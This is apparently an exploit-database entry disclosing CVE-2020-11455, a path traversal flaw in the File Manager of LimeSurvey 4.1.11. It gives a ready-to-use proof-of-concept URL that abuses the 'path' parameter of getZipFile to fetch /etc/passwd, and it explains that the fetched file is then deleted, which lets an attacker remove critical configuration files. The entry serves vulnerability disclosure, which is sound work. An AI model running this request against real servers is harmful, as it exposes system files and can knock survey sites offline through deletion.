# Exploit Title: LimeSurvey 4.1.11 - 'File Manager' Path Traversal
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# CVE : CVE-2020-11455

# Vulnerability Details
# Description : A path traversal vulnerability exists within the "File Manager" functionality of LimeSurvey
# that allows an attacker to download arbitrary files.  The file manager functionality will also 
# delete the file after it is downloaded (if the web service account has permissions to do so), 
# allowing an attacker to cause a denial of service by specifying a critical LimeSurvey configuration file.
Vulnerable Parameter : "path"


# POC
https://TARGET/limesurvey/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd